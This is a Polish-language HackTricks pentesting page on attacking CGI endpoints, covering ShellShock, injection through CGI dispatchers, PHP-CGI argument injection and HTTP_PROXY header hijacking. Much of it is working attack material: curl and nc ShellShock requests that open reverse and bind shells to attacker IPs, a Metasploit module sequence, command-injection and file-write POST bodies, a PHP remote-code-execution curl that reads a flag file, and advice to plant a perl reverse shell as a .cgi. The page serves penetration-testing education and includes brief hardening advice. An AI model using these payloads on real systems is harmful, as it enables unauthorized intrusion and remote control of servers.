CGI Pentesting
Reading time: 6 minutes
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Informacje
Skrypty CGI są skryptami perl, więc, jeśli przejąłeś serwer, który może wykonywać .cgi pliki możesz wgrać perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), zmienić rozszerzenie z .pl na .cgi, nadać uprawnienia do wykonania (chmod +x) i uzyskać dostęp do reverse shella z poziomu przeglądarki, aby go uruchomić.
Aby przetestować CGI vulns zaleca się użycie nikto -C all (i wszystkich wtyczek)
ShellShock
ShellShock to luka, która dotyczy szeroko używanej powłoki wiersza poleceń Bash w systemach operacyjnych opartych na Unix. Atakuje zdolność Bash do uruchamiania poleceń przekazywanych przez aplikacje. Luka polega na manipulacji zmiennymi środowiskowymi, które są dynamicznymi, nazwanymi wartościami wpływającymi na sposób działania procesów na komputerze. Atakujący mogą to wykorzystać, dołączając złośliwy kod do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala atakującym potencjalnie przejąć system.
Eksploatując tę lukę strona może zwrócić błąd.
Możesz znaleźć tę lukę, zauważając użycie starej wersji Apache i cgi_mod (z folderem cgi) lub używając nikto.
Test
Większość testów polega na użyciu polecenia echo i oczekiwaniu, że dany ciąg zostanie zwrócony w odpowiedzi webowej. Jeśli uważasz, że strona może być podatna, wyszukaj wszystkie strony cgi i przetestuj je.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (reflected, blind and out-of-band)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Exploit
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Scentralizowane CGI dispatchery (single endpoint routing via selector parameters)
Wiele wbudowanych interfejsów WWW grupuje dziesiątki uprzywilejowanych akcji za jednym CGI endpointem (np. /cgi-bin/cstecgi.cgi) i używa selector parameter takiego jak topicurl=<handler>, aby skierować żądanie do wewnętrznej funkcji.
Metodologia wykorzystania tych dispatcherów:
- Wymień nazwy handlerów: scrape JS/HTML, brute-force za pomocą wordlists, lub rozpakuj firmware i użyj grep, by znaleźć handler strings używane przez dispatcher.
- Sprawdź unauthenticated reachability: niektóre handlery pomijają auth checks i są bezpośrednio callable.
- Skoncentruj się na handlerach, które wywołują system utilities lub operują na plikach; słabe validators często blokują tylko kilka znaków i mogą przeoczyć wiodący myślnik
-.
Ogólne schematy exploitów:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>¶m=-n
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
Wykrywanie i wzmacnianie zabezpieczeń:
- Uważaj na nieautoryzowane żądania do scentralizowanych endpointów CGI z
topicurlustawionym na wrażliwe handlery. - Oznaczaj parametry zaczynające się od
-(argv option injection attempts). - Dostawcy: wymuszaj uwierzytelnianie dla wszystkich state-changing handlers, waliduj używając rygorystycznych allowlists/types/lengths i nigdy nie przekazuj kontrolowanych przez użytkownika ciągów jako command-line flags.
Stare PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
W zasadzie jeśli cgi jest aktywne i php jest "stare" (<5.3.12 / < 5.4.2) możesz wykonać kod.
Aby wyeksploitować tę podatność, musisz uzyskać dostęp do jakiegoś pliku PHP na serwerze WWW bez wysyłania parametrów (szczególnie bez wysyłania znaku "=").
Aby przetestować tę podatność, możesz np. uzyskać dostęp do /index.php?-s (zwróć uwagę na -s) i kod źródłowy aplikacji pojawi się w odpowiedzi.
Aby uzyskać RCE, możesz wysłać to specjalne zapytanie: /?-d allow_url_include=1 -d auto_prepend_file=php://input i umieścić PHP code do wykonania w treści żądania. Przykład:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Więcej informacji o vuln i możliwych exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
Proxy (MitM do żądań serwera WWW)
CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu HTTP. Na przykład: "host:web.com" jest tworzony jako "HTTP_HOST"="web.com"
Ponieważ zmienna HTTP_PROXY może być używana przez serwer WWW. Spróbuj wysłać header zawierający: "Proxy: <IP_attacker>:<PORT>" i jeśli serwer wykona jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wykonane przez serwer.
References
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks